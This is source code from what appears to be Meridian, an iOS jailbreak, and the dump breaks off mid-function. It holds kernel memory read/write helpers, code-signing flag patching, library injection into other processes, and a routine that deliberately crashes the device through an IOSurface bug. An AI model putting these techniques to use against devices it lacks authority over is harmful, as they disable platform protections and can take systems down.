 */
enum {
    CSMAGIC_REQUIREMENT = 0xfade0c00,               /* single Requirement blob */
    CSMAGIC_REQUIREMENTS = 0xfade0c01,              /* Requirements vector (internal requirements) */
    CSMAGIC_CODEDIRECTORY = 0xfade0c02,             /* CodeDirectory blob */
    CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0,        /* embedded form of signature data */
    CSMAGIC_EMBEDDED_SIGNATURE_OLD = 0xfade0b02,    /* XXX */
    CSMAGIC_EMBEDDED_ENTITLEMENTS = 0xfade7171,     /* embedded entitlements */
    CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1,        /* multi-arch collection of embedded signatures */
    CSMAGIC_BLOBWRAPPER = 0xfade0b01,               /* CMS Signature, among other things */

    CS_SUPPORTSSCATTER = 0x20100,
    CS_SUPPORTSTEAMID = 0x20200,
    CS_SUPPORTSCODELIMIT64 = 0x20300,
    CS_SUPPORTSEXECSEG = 0x20400,

    CSSLOT_CODEDIRECTORY = 0,                       /* slot index for CodeDirectory */
    CSSLOT_INFOSLOT = 1,
    CSSLOT_REQUIREMENTS = 2,
    CSSLOT_RESOURCEDIR = 3,
    CSSLOT_APPLICATION = 4,
    CSSLOT_ENTITLEMENTS = 5,

    CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000,      /* first alternate CodeDirectory, if any */
    CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5,         /* max number of alternate CD slots */
    CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT =          /* one past the last */
       CSSLOT_ALTERNATE_CODEDIRECTORIES +
       CSSLOT_ALTERNATE_CODEDIRECTORY_MAX,

    CSSLOT_SIGNATURESLOT = 0x10000,                 /* CMS Signature */

    CSTYPE_INDEX_REQUIREMENTS = 0x00000002,         /* compat with amfi */
    CSTYPE_INDEX_ENTITLEMENTS = 0x00000005,         /* compat with amfi */

    CS_HASHTYPE_SHA1 = 1,
    CS_HASHTYPE_SHA256 = 2,
    CS_HASHTYPE_SHA256_TRUNCATED = 3,
    CS_HASHTYPE_SHA384 = 4,

    CS_SHA1_LEN = 20,
    CS_SHA256_LEN = 32,
    CS_SHA256_TRUNCATED_LEN = 20,

    CS_CDHASH_LEN = 20,                             /* always - larger hashes are truncated */
    CS_HASH_MAX_SIZE = 48,                          /* max size of the hash we'll support */

    /*
     * Currently only to support Legacy VPN plugins,
     * but intended to replace all the various platform code, dev code etc. bits.
     */
    CS_SIGNER_TYPE_UNKNOWN = 0,
    CS_SIGNER_TYPE_LEGACYVPN = 5,
};

/*
 * Choose among different hash algorithms.
 * Higher is better, 0 => don't use at all.
 */
static const uint32_t hashPriorities[] = {
    CS_HASHTYPE_SHA1,
    CS_HASHTYPE_SHA256_TRUNCATED,
    CS_HASHTYPE_SHA256,
    CS_HASHTYPE_SHA384,
};

================================================
FILE: Meridian/Meridian/helpers/fucksigningservices.h
================================================
//
//  fucksigningservices.h
//  Meridian
//
//  Created by Ben Sparkes on 07/01/2018.
//  Copyright © 2018 Ben Sparkes. All rights reserved.
//

#ifndef fucksigningservices_h
#define fucksigningservices_h

#import "ViewController.h"
#import <Foundation/Foundation.h>

@interface fucksigningservices : NSObject

+ (Boolean)appIsPirated:(NSString *)profilePath;

@end

#endif /* fucksigningservices_h */


================================================
FILE: Meridian/Meridian/helpers/fucksigningservices.m
================================================
//
//  fuck-signing-services.m
//  Meridian
//
//  Created by Ben Sparkes on 07/01/2018.
//  Copyright © 2018 Ben Sparkes. All rights reserved.
//

#import "fucksigningservices.h"

@interface NSString (profileHelper)
- (id)dictionaryFromString;
@end

@implementation NSString (profileHelper)

// convert basic XML plist string from the profile and convert it into a mutable nsdictionary
- (id)dictionaryFromString
{
    NSData *theData = [self dataUsingEncoding:NSUTF8StringEncoding allowLossyConversion:YES];
    id theDict = [NSPropertyListSerialization propertyListWithData:theData
                                                           options:NSPropertyListMutableContainersAndLeaves
                                                            format:nil
                                                             error:nil];
    return theDict;
}

@end

@implementation fucksigningservices : NSObject

// creds @nitoTV/lechium the fuckin' madman
// https://github.com/lechium/ProvisioningProfileCleaner/blob/master/ProvisioningProfileCleaner/KBProfileHelper.m#L648
+ (Boolean)appIsPirated:(NSString *)profilePath
{
    NSString *fileContents = [NSString stringWithContentsOfFile:profilePath
                                             encoding:NSUTF8StringEncoding
                                                error:nil];
    NSUInteger fileLength = [fileContents length];
    
    if (fileLength == 0) return false;
    
    // find NSRange location of <?xml to pass by all the "garbage" data before our plist
    NSUInteger startingLocation = [fileContents rangeOfString:@"<?xml"].location;
    // find NSRange of the end of the plist (there is "junk" cert data after our plist info as well
    NSRange endingRange = [fileContents rangeOfString:@"</plist>"];
    
    // adjust the location of endingRange to include </plist> into our newly trimmed string.
    NSUInteger endingLocation = endingRange.location + endingRange.length;
    
    // offset the ending location to trim out the "garbage" before <?xml
    NSUInteger endingLocationAdjusted = endingLocation - startingLocation;
    
    // create the final range of the string data from <?xml to </plist>
    NSRange plistRange = NSMakeRange(startingLocation, endingLocationAdjusted);
    
    NSString *plistString = [fileContents substringWithRange:plistRange];
    
    NSMutableDictionary *dict = [plistString dictionaryFromString];
    
    // Grab provisioning entries
    NSObject *provisionsAllDevices = [dict objectForKey:@"ProvisionsAllDevices"];
    NSArray *provisionedDevices = [dict objectForKey:@"ProvisionedDevices"];
    
    // Check whether keys are present & evaluate
    return (provisionsAllDevices != nil &&
            provisionedDevices == nil);
}

@end


================================================
FILE: Meridian/Meridian/helpers/helpers.h
================================================
//
//  helpers.h
//  Meridian
//
//  Created by Ben Sparkes on 30/12/2017.
//  Copyright © 2017 Ben Sparkes. All rights reserved.
//

#ifndef helpers_h
#define helpers_h

#include <stdio.h>

#define CS_GET_TASK_ALLOW       0x0000004    /* has get-task-allow entitlement */
#define CS_INSTALLER            0x0000008    /* has installer entitlement      */
#define CS_HARD                 0x0000100    /* don't load invalid pages       */
#define CS_RESTRICT             0x0000800    /* tell dyld to treat restricted  */
#define CS_PLATFORM_BINARY      0x4000000    /* this is a platform binary      */

#define JAILBREAKD_COMMAND_ENTITLE 1
#define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT 2
#define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY 3
#define JAILBREAKD_COMMAND_FIXUP_SETUID 4

int call_jailbreakd(int command, pid_t pid);
uint64_t find_proc_by_name(char* name);
uint64_t find_proc_by_pid(uint32_t pid);
uint32_t get_pid_for_name(char* name);
int uicache(void);
int start_launchdaemon(const char *path);
int respring(void);
int inject_library(pid_t pid, const char *path);
int killall(const char *procname, const char *kill);
int check_for_jailbreak(void);
char *itoa(long n);
int file_exists(const char *path);
void read_file(const char* path);
int cp(const char *from, const char *to);
int num_files(const char *path);
char* bundled_file(const char *filename);
char* bundle_path(void);
int extract_bundle(const char* bundle_name, const char* directory);
int extract_bundle_tar(const char *bundle_name);
void touch_file(char *path);
char* concat(const char *s1, const char *s2);
void grant_csflags(pid_t pd);
int execprog(const char *prog, const char* args[]);
void restart_device(void);
double uptime(void);
void suspend_all_threads(void);
void resume_all_threads(void);

#endif


================================================
FILE: Meridian/Meridian/helpers/helpers.m
================================================
//
//  helpers.m
//  Meridian
//
//  Created by Ben Sparkes on 30/12/2017.
//  Copyright © 2017 Ben Sparkes. All rights reserved.
//

#include "helpers.h"
#include "ViewController.h"
#include "kernel.h"
#include "untar.h"
#include "amfi.h"
#include "jailbreak_daemonUser.h"
#include "iokit.h"
#include <dirent.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/fcntl.h>
#include <sys/spawn.h>
#include <sys/stat.h>
#include <sys/sysctl.h>
#import <Foundation/Foundation.h>

int call_jailbreakd(int command, pid_t pid) {
    mach_port_t jbd_port;
    if (bootstrap_look_up(bootstrap_port, "zone.sparkes.jailbreakd", &jbd_port) != 0) {
        return -1;
    }
    
    return jbd_call(jbd_port, command, pid);
}

uint64_t find_proc_by_name(char *name) {
    uint64_t proc = rk64(kernprocaddr + 0x08);
    
    while (proc) {
        char proc_name[40] = { 0 };
        
        kread(proc + 0x26c, proc_name, 40);
        
        if (!strcmp(name, proc_name)) {
            return proc;
        }
        
        proc = rk64(proc + 0x08);
    }
    
    return 0;
}

uint64_t find_proc_by_pid(uint32_t pid) {
    uint64_t proc = rk64(kernprocaddr + 0x08);
    
    while (proc) {
        uint32_t proc_pid = rk32(proc + 0x10);
        
        if (pid == proc_pid) {
            return proc;
        }
        
        proc = rk64(proc + 0x08);
    }
    
    return 0;
}

uint32_t get_pid_for_name(char* name) {
    uint64_t proc = find_proc_by_name(name);
    if (proc == 0) {
        return 0;
    }
    
    return rk32(proc + 0x10);
}

int uicache() {
    return execprog("/bin/uicache", NULL);
}

int start_launchdaemon(const char *path) {
    int ret = inject_trust("/bin/launchctl");
    if (ret != 0) {
        NSLog(@"Failed to inject trust to /bin/launchctl: %d", ret);
        return -30;
    }
    
    chmod(path, 0755);
    chown(path, 0, 0);
    return execprog("/bin/launchctl", (const char **)&(const char*[]) {
        "/bin/launchctl",
        "load",
        "-w",
        path,
        NULL
    });
}

int respring() {
    pid_t springBoard = get_pid_for_name("SpringBoard");
    if (springBoard == 0) {
        return 1;
    }
    
    kill(springBoard, 9);
    return 0;
}

int inject_library(pid_t pid, const char *path) {
    mach_port_t task_port;
    kern_return_t ret = task_for_pid(mach_task_self(), pid, &task_port);
    if (ret != KERN_SUCCESS || task_port == MACH_PORT_NULL) {
        task_port = task_for_pid_workaround(pid);
        if (task_port == MACH_PORT_NULL) {
            NSLog(@"[injector] failed to get task for pid %d", pid);
            return ret;
        }
    }
    
    NSLog(@"[injector] got task port: %x", task_port);
    
    call_remote(task_port, dlopen, 2, REMOTE_CSTRING(path), REMOTE_LITERAL(RTLD_NOW));
    uint64_t error = call_remote(task_port, dlerror, 0);
    if (error != 0) {
        uint64_t len = call_remote(task_port, strlen, 1, REMOTE_LITERAL(error));
        char* local_cstring = malloc(len +  1);
        remote_read_overwrite(task_port, error, (uint64_t)local_cstring, len + 1);
        
        NSLog(@"[injector] error: %s", local_cstring);
        return -1;
    }
    
    return 0;
}

int killall(const char *procname, const char *kill) {
    return execprog("/usr/bin/killall", (const char **)&(const char *[]) {
        "/usr/bin/killall",
        kill,
        procname,
        NULL
    });
}

int check_for_jailbreak() {
    int csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize);
    
    uint32_t flags;
    csops(getpid(), 0, &flags, 0);
    
    return flags & CS_PLATFORM_BINARY;
}

char *itoa(long n) {
    int len = n==0 ? 1 : floor(log10l(labs(n)))+1;
    if (n<0) len++; // room for negative sign '-'
    
    char    *buf = calloc(sizeof(char), len+1); // +1 for null
    snprintf(buf, len+1, "%ld", n);
    return   buf;
}

// remember: returns 0 if file exists
int file_exists(const char *path) {
    return access(path, F_OK);
}

void read_file(const char *path) {
    char buf[65] = {0};
    int fd = open(path, O_RDONLY);
    if (fd == -1) {
        perror("open path");
        return;
    }
    
    printf("contents of %s: \n ------------------------- \n", path);
    while(read(fd, buf, sizeof(buf) - 1) == sizeof(buf) - 1) {
        printf("%s", buf);
    }
    printf("%s", buf);
    printf("\n-------------------------\n");
    
    close(fd);
}

int cp(const char *from, const char *to) {
    int fd_to, fd_from;
    char buf[4096];
    ssize_t nread;
    int saved_errno;
    
    fd_from = open(from, O_RDONLY);
    if (fd_from < 0)
        return -1;
    
    fd_to = open(to, O_WRONLY | O_CREAT | O_EXCL, 0666);
    if (fd_to < 0)
        goto out_error;
    
    while ((nread = read(fd_from, buf, sizeof buf)) > 0)
    {
        char *out_ptr = buf;
        ssize_t nwritten;
        
        do {
            nwritten = write(fd_to, out_ptr, nread);
            
            if (nwritten >= 0)
            {
                nread -= nwritten;
                out_ptr += nwritten;
            }
            else if (errno != EINTR)
            {
                goto out_error;
            }
        } while (nread > 0);
    }
    
    if (nread == 0)
    {
        if (close(fd_to) < 0)
        {
            fd_to = -1;
            goto out_error;
        }
        close(fd_from);
        
        /* Success! */
        return 0;
    }
    
out_error:
    saved_errno = errno;
    
    close(fd_from);
    if (fd_to >= 0)
        close(fd_to);
    
    errno = saved_errno;
    return -1;
}

// https://stackoverflow.com/questions/1121383/counting-the-number-of-files-in-a-directory-using-c
int num_files(const char *path) {
    if (file_exists(path) != 0) {
        return -1;
    }
    
    int file_count = 0;
    DIR * dirp;
    struct dirent * entry;

    dirp = opendir(path);
    while ((entry = readdir(dirp)) != NULL) {
        if (entry->d_type == DT_REG) {
            file_count++;
        }
    }
    closedir(dirp);
    
    return file_count;
}

char* bundled_file(const char *filename) {
    return concat(bundle_path(), filename);
}

char* bundle_path() {
    CFBundleRef mainBundle = CFBundleGetMainBundle();
    CFURLRef resourcesURL = CFBundleCopyResourcesDirectoryURL(mainBundle);
    int len = 4096;
    char* path = malloc(len);
    
    CFURLGetFileSystemRepresentation(resourcesURL, TRUE, (UInt8*)path, len);
    
    return concat(path, "/");
}

int extract_bundle(const char* bundle_name, const char* directory) {
    int ret;
    
    char *tarFile = NULL;
    asprintf(&tarFile, "%s/%s", directory, bundle_name);
    
    ret = file_exists(bundled_file(bundle_name));
    if (ret != 0) {
        NSLog(@"file does not exist: %s", bundled_file(bundle_name));
        return -1;
    }
    
    ret = file_exists(directory);
    if (file_exists(directory) != 0) {
        NSLog(@"directory does not exist: %s", directory);
        return -2;
    }
    
    ret = cp(bundled_file(bundle_name), tarFile);
    if (ret != 0) {
        NSLog(@"cp has failed: %d", ret);
        return -3;
    }
    
    ret = chdir(directory);
    if (ret != 0) {
        NSLog(@"failed to chdir *rolls eyes* code %d", ret);
        return -4;
    }
    
    ret = untar(fopen(tarFile, "r"), bundle_name);
    NSLog(@"untar returned: %d", ret);
    if (ret != 0) {
        return -5;
    }
    
    ret = unlink(tarFile);
    if (ret != 0) {
        NSLog(@"now fucking `unlink` is failing tooo? %d", ret);
        return -6;
    }
    
    free(tarFile);
    return 0;
}

int extract_bundle_tar(const char *bundle_name) {
    const char *file_path = bundled_file(bundle_name);
    
    if (file_exists(file_path) != 0) {
        log_message([NSString stringWithFormat:@"Error, bundle file %s was not found at path %s!",
                     bundle_name, file_path]);
        return -1;
    }
    
    return execprog("/meridian/tar", (const char **)&(const char*[]) {
        "/meridian/tar",
        "--preserve-permissions",
        "--no-overwrite-dir",
        "-C",
        "/",
        "-xvf",
        file_path,
        NULL
    });
}

void touch_file(char *path) {
    fclose(fopen(path, "w+"));
}

// https://stackoverflow.com/questions/8465006/how-do-i-concatenate-two-strings-in-c
char* concat(const char *s1, const char *s2) {
    char *result = malloc(strlen(s1)+strlen(s2)+1);
    strcpy(result, s1);
    strcat(result, s2);
    return result;
}

void grant_csflags(pid_t pid) {    
    int tries = 3;
    while (tries-- > 0) {
        uint64_t proc = find_proc_by_pid(pid);
        if (proc == 0) {
            sleep(1);
            continue;
        }
        
        uint32_t csflags = rk32(proc + 0x2a8);
        csflags = (csflags |
                   CS_PLATFORM_BINARY |
                   CS_INSTALLER |
                   CS_GET_TASK_ALLOW)
                   & ~(CS_RESTRICT | CS_HARD);
        wk32(proc + 0x2a8, csflags);
        break;
    }
}

// creds to stek29 on this one
int execprog(const char *prog, const char* args[]) {
    if (args == NULL) {
        args = (const char **)&(const char*[]){ prog, NULL };
    }
    
    if (file_exists("/meridian") != 0) {
        mkdir("/meridian", 0755);
    }
    if (file_exists("/meridian/logs") != 0) {
        mkdir("/meridian/logs", 0755);
    }
    
    const char *logfile = [NSString stringWithFormat:@"/meridian/logs/%@-%lu",
                           [[NSMutableString stringWithUTF8String:prog] stringByReplacingOccurrencesOfString:@"/" withString:@"_"],
                           time(NULL)].UTF8String;
    
    NSString *prog_args = @"";
    for (const char **arg = args; *arg != NULL; ++arg) {
        prog_args = [prog_args stringByAppendingString:[NSString stringWithFormat:@"%s ", *arg]];
    }
    NSLog(@"[execprog] Spawning [ %@ ] to logfile [ %s ]", prog_args, logfile);
    
    int rv;
    posix_spawn_file_actions_t child_fd_actions;
    if ((rv = posix_spawn_file_actions_init (&child_fd_actions))) {
        perror ("posix_spawn_file_actions_init");
        return rv;
    }
    if ((rv = posix_spawn_file_actions_addopen (&child_fd_actions, STDOUT_FILENO, logfile,
                                                O_WRONLY | O_CREAT | O_TRUNC, 0666))) {
        perror ("posix_spawn_file_actions_addopen");
        return rv;
    }
    if ((rv = posix_spawn_file_actions_adddup2 (&child_fd_actions, STDOUT_FILENO, STDERR_FILENO))) {
        perror ("posix_spawn_file_actions_adddup2");
        return rv;
    }
    
    pid_t pd;
    if ((rv = posix_spawn(&pd, prog, &child_fd_actions, NULL, (char**)args, NULL))) {
        printf("posix_spawn error: %d (%s)\n", rv, strerror(rv));
        return rv;
    }
    
    NSLog(@"[execprog] Process spawned with pid %d", pd);
    
    grant_csflags(pd);
    
    int ret, status;
    do {
        ret = waitpid(pd, &status, 0);
        if (ret > 0) {
            NSLog(@"'%s' exited with %d (sig %d)\n", prog, WEXITSTATUS(status), WTERMSIG(status));
        } else if (errno != EINTR) {
            NSLog(@"waitpid error %d: %s\n", ret, strerror(errno));
        }
    } while (ret < 0 && errno == EINTR);
    
    char buf[65] = {0};
    int fd = open(logfile, O_RDONLY);
    if (fd == -1) {
        perror("open logfile");
        return 1;
    }
    
    NSLog(@"contents of %s:", logfile);
    NSLog(@"-------------------------");
    NSString *outputString = @"";
    while(read(fd, buf, sizeof(buf) - 1) == sizeof(buf) - 1) {
        outputString = [outputString stringByAppendingString:[NSString stringWithFormat:@"%s", buf]];
    }
    NSLog(@"%@", outputString);
    NSLog(@"-------------------------");
    
    close(fd);
    remove(logfile);
    return (int8_t)WEXITSTATUS(status);
}

// credits to tihmstar
void restart_device() {
    // open user client
    CFMutableDictionaryRef matching = IOServiceMatching("IOSurfaceRoot");
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
    io_connect_t connect = 0;
    IOServiceOpen(service, mach_task_self(), 0, &connect);
    
    // add notification port with same refcon multiple times
    mach_port_t port = 0;
    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    uint64_t references;
    uint64_t input[3] = {0};
    input[1] = 1234;  // keep refcon the same value
    while (1) {
        IOConnectCallAsyncStructMethod(connect, 17, port, &references, 1, input, sizeof(input), NULL, NULL);
    }
}

// credits to tihmstar
double uptime() {
    struct timeval boottime;
    size_t len = sizeof(boottime);
    int mib[2] = { CTL_KERN, KERN_BOOTTIME };
    if (sysctl(mib, 2, &boottime, &len, NULL, 0) < 0) {
        return -1.0;
    }
    
    time_t bsec = boottime.tv_sec, csec = time(NULL);
    
    return difftime(csec, bsec);
}

// credits to tihmstar
void suspend_all_threads() {
    thread_act_t other_thread, current_thread;
    unsigned int thread_count;
    thread_act_array_t thread_list;
    
    current_thread = mach_thread_self();
    int result = task_threads(mach_task_self(), &thread_list, &thread_count);
    if (result == -1) {
        exit(1);
    }
    if (!result && thread_count) {
        for (unsigned int i = 0; i < thread_count; ++i) {
            other_thread = thread_list[i];
            if (other_thread != current_thread) {
                int kr = thread_suspend(other_thread);
                if (kr != KERN_SUCCESS) {
                    mach_error("thread_suspend:", kr);
                    exit(1);
                }
            }
        }
    }
}

// credits to tihmstar
void resume_all_threads() {
    thread_act_t other_thread, current_thread;
    unsigned int thread_count;
    thread_act_array_t thread_list;
    
    current_thread = mach_thread_self();
    int result = task_threads(mach_task_self(), &thread_list, &thread_count);
    if (!result && thread_count) {
        for (unsigned int i = 0; i < thread_count; ++i) {
            other_thread = thread_list[i];
            if (other_thread != current_thread) {
                int kr = thread_resume(other_thread);
                if (kr != KERN_SUCCESS) {
                    mach_error("thread_suspend:", kr);
                }
            }
        }
    }
}


================================================
FILE: Meridian/Meridian/helpers/iokit.h
================================================
#ifndef IOKIT_H
#define IOKIT_H

#include <stdint.h>
#include <mach/mach.h>
#include <CoreFoundation/CoreFoundation.h>

// Thanks Sig <3
// https://github.com/Siguza/iokit-utils/blob/master/src/iokit.h

typedef char io_name_t[128];
typedef char io_string_t[512];
typedef char io_struct_inband_t[4096];
typedef mach_port_t io_object_t;
typedef io_object_t io_registry_entry_t;
typedef io_object_t io_service_t;
typedef io_object_t io_connect_t;
typedef io_object_t io_iterator_t;

enum
{
    kIOCFSerializeToBinary          = 0x00000001U,
};

enum
{
    kIORegistryIterateRecursively   = 0x00000001U,
    kIORegistryIterateParents       = 0x00000002U,
};

enum
{
    kOSSerializeDictionary          = 0x01000000U,
    kOSSerializeArray               = 0x02000000U,
    kOSSerializeSet                 = 0x03000000U,
    kOSSerializeNumber              = 0x04000000U,
    kOSSerializeSymbol              = 0x08000000U,
    kOSSerializeString              = 0x09000000U,
    kOSSerializeData                = 0x0a000000U,
    kOSSerializeBoolean             = 0x0b000000U,
    kOSSerializeObject              = 0x0c000000U,
    
    kOSSerializeTypeMask            = 0x7F000000U,
    kOSSerializeDataMask            = 0x00FFFFFFU,
    
    kOSSerializeEndCollection       = 0x80000000U,
    
    kOSSerializeMagic               = 0x000000d3U,
};

extern const mach_port_t kIOMasterPortDefault;

CF_RETURNS_RETAINED CFDataRef IOCFSerialize(CFTypeRef object, CFOptionFlags options);
CFTypeRef IOCFUnserializeWithSize(const char *buf, size_t len, CFAllocatorRef allocator, CFOptionFlags options, CFStringRef *err);

kern_return_t IOObjectRetain(io_object_t object);
kern_return_t IOObjectRelease(io_object_t object);
boolean_t IOObjectConformsTo(io_object_t object, const io_name_t name);
uint32_t IOObjectGetKernelRetainCount(io_object_t object);
kern_return_t IOObjectGetClass(io_object_t object, io_name_t name);
CFStringRef IOObjectCopyClass(io_object_t object);
CFStringRef IOObjectCopySuperclassForClass(CFStringRef name);
CFStringRef IOObjectCopyBundleIdentifierForClass(CFStringRef name);

io_registry_entry_t IORegistryGetRootEntry(mach_port_t master);
kern_return_t IORegistryEntryGetName(io_registry_entry_t entry, io_name_t name);
kern_return_t IORegistryEntryGetRegistryEntryID(io_registry_entry_t entry, uint64_t *entryID);
kern_return_t IORegistryEntryGetPath(io_registry_entry_t entry, const io_name_t plane, io_string_t path);
kern_return_t IORegistryEntryGetProperty(io_registry_entry_t entry, const io_name_t name, io_struct_inband_t buffer, uint32_t *size);
kern_return_t IORegistryEntryCreateCFProperties(io_registry_entry_t entry, CFMutableDictionaryRef *properties, CFAllocatorRef allocator, uint32_t options);
CFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, uint32_t options);
kern_return_t IORegistryEntrySetCFProperties(io_registry_entry_t entry, CFTypeRef properties);

kern_return_t IORegistryCreateIterator(mach_port_t master, const io_name_t plane, uint32_t options, io_iterator_t *it);
kern_return_t IORegistryEntryCreateIterator(io_registry_entry_t entry, const io_name_t plane, uint32_t options, io_iterator_t *it);
kern_return_t IORegistryEntryGetChildIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);
kern_return_t IORegistryEntryGetParentIterator(io_registry_entry_t entry, const io_name_t plane, io_iterator_t *it);
io_object_t IOIteratorNext(io_iterator_t it);
boolean_t IOIteratorIsValid(io_iterator_t it);
void IOIteratorReset(io_iterator_t it);

CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
CFMutableDictionaryRef IOServiceNameMatching(const char *name) CF_RETURNS_RETAINED;
io_service_t IOServiceGetMatchingService(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
kern_return_t IOServiceGetMatchingServices(mach_port_t master, CFDictionaryRef matching CF_RELEASES_ARGUMENT, io_iterator_t *it);
kern_return_t _IOServiceGetAuthorizationID(io_service_t service, uint64_t *authID);
kern_return_t _IOServiceSetAuthorizationID(io_service_t service, uint64_t authID);
kern_return_t IOServiceOpen(io_service_t service, task_t task, uint32_t type, io_connect_t *client);
kern_return_t IOServiceClose(io_connect_t client);
kern_return_t IOCloseConnection(io_connect_t client);
kern_return_t IOConnectAddRef(io_connect_t client);
kern_return_t IOConnectRelease(io_connect_t client);
kern_return_t IOConnectGetService(io_connect_t client, io_service_t *service);
kern_return_t IOConnectAddClient(io_connect_t client, io_connect_t other);
kern_return_t IOConnectSetNotificationPort(io_connect_t client, uint32_t type, mach_port_t port, uintptr_t ref);
kern_return_t IOConnectMapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t *addr, mach_vm_size_t *size, uint32_t options);
kern_return_t IOConnectUnmapMemory64(io_connect_t client, uint32_t type, task_t task, mach_vm_address_t addr);
kern_return_t IOConnectSetCFProperties(io_connect_t client, CFTypeRef properties);
kern_return_t IOConnectCallMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectCallScalarMethod(io_connect_t client, uint32_t selector, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);
kern_return_t IOConnectCallStructMethod(io_connect_t client, uint32_t selector, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectCallAsyncMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, const void *inStruct, size_t inStructCnt, uint64_t *out, uint32_t *outCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectCallAsyncScalarMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const uint64_t *in, uint32_t inCnt, uint64_t *out, uint32_t *outCnt);
kern_return_t IOConnectCallAsyncStructMethod(io_connect_t client, uint32_t selector, mach_port_t wake_port, uint64_t *ref, uint32_t refCnt, const void *inStruct, size_t inStructCnt, void *outStruct, size_t *outStructCnt);
kern_return_t IOConnectTrap6(io_connect_t client, uint32_t index, uintptr_t a, uintptr_t b, uintptr_t c, uintptr_t d, uintptr_t e, uintptr_t f);

#endif


================================================
FILE: Meridian/Meridian/helpers/kernel.h
================================================
//
//  kernel.h
//  Meridian
//
//  Created by Ben Sparkes on 16/12/2017.
//  Copyright © 2017 Ben Sparkes. All rights reserved.
//

#include <mach/mach.h>

enum arg_type {
    ARG_LITERAL,
    ARG_BUFFER,
    ARG_BUFFER_PERSISTENT, // don't free the buffer after the call
    ARG_OUT_BUFFER,
    ARG_INOUT_BUFFER
};

typedef struct _arg_desc {
    uint64_t type;
    uint64_t value;
    uint64_t length;
} arg_desc;

#define REMOTE_LITERAL(val) &(arg_desc){ARG_LITERAL, (uint64_t)val, (uint64_t)0}
#define REMOTE_BUFFER(ptr, size) &(arg_desc){ARG_BUFFER, (uint64_t)ptr, (uint64_t)size}
#define REMOTE_CSTRING(str) &(arg_desc){ARG_BUFFER, (uint64_t)str, (uint64_t)(strlen(str)+1)}

task_t tfp0;
uint64_t kslide;
uint64_t kernel_base;
uint64_t kern_ucred;
uint64_t kernprocaddr;

kern_return_t mach_vm_write(vm_map_t target_task,
                            mach_vm_address_t address,
                            vm_offset_t data,
                            mach_msg_type_number_t dataCnt);

kern_return_t mach_vm_read_overwrite(vm_map_t target_task,
                                     mach_vm_address_t address,
                                     mach_vm_size_t size,
                                     mach_vm_address_t data,
                                     mach_vm_size_t *outsize);

kern_return_t mach_vm_allocate(vm_map_t,
                               mach_vm_address_t *,
                               mach_vm_size_t, int);

kern_return_t mach_vm_deallocate(vm_map_t target,
                                 mach_vm_address_t address,
                                 mach_vm_size_t size);

kern_return_t mach_vm_region(vm_map_t target_task,
                             mach_vm_address_t *address,
                             mach_vm_size_t *size,
                             vm_region_flavor_t flavor,
                             vm_region_info_t info,
                             mach_msg_type_number_t *infoCnt,
                             mach_port_t *object_name);

kern_return_t bootstrap_look_up(mach_port_t port, const char *service, mach_port_t *server_port);

size_t kread(uint64_t where, void *p, size_t size);
size_t kwrite(uint64_t where, const void *p, size_t size);
uint64_t rk64(uint64_t kaddr);
uint32_t rk32(uint64_t kaddr);
void wk64(uint64_t kaddr, uint64_t val);
void wk32(uint64_t kaddr, uint32_t val);
uint64_t remote_alloc(mach_port_t task_port, uint64_t size);
uint64_t alloc_and_fill_remote_buffer(mach_port_t task_port,
                                      uint64_t local_address,
                                      uint64_t length);
void remote_free(mach_port_t task_port, uint64_t base, uint64_t size);
void remote_read_overwrite(mach_port_t task_port,
                           uint64_t remote_address,
                           uint64_t local_address,
                           uint64_t length);
uint64_t binary_load_address(mach_port_t tp);
uint64_t ktask_self_addr(void);
mach_port_t task_for_pid_workaround(int pid);
uint64_t find_port_address(mach_port_name_t port);
uint64_t call_remote(mach_port_t task_port, void* fptr, int n_params, ...);


================================================
FILE: Meridian/Meridian/helpers/kernel.m
================================================
//
//  kernel.m
//  v0rtex
//
//  Created by Ben Sparkes on 16/12/2017.
//  Copyright © 2017 Ben Sparkes. All rights reserved.
//

#include "kernel.h"
#include "common.h"
#include "helpers.h"
#include <mach/mach.h>

size_t kread(uint64_t where, void *p, size_t size)
{
    int rv;
    size_t offset = 0;
    while (offset < size) {
        mach_vm_size_t sz, chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
        
        if (rv || sz == 0) {
            break;
        }
        
        offset += sz;
    }
    return offset;
}

size_t kwrite(uint64_t where, const void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        size_t chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_write(tfp0,
                           where + offset,
                           (mach_vm_offset_t)p + offset,
                           (mach_msg_type_number_t)chunk);
        
        if (rv) {
            printf("[kernel] error copying buffer into region: @%p \n", (void *)(offset + where));
            break;
        }
        
        offset +=chunk;
    }
    
    return offset;
}

uint64_t rk64(uint64_t kaddr) {
    uint64_t lower = rk32(kaddr);
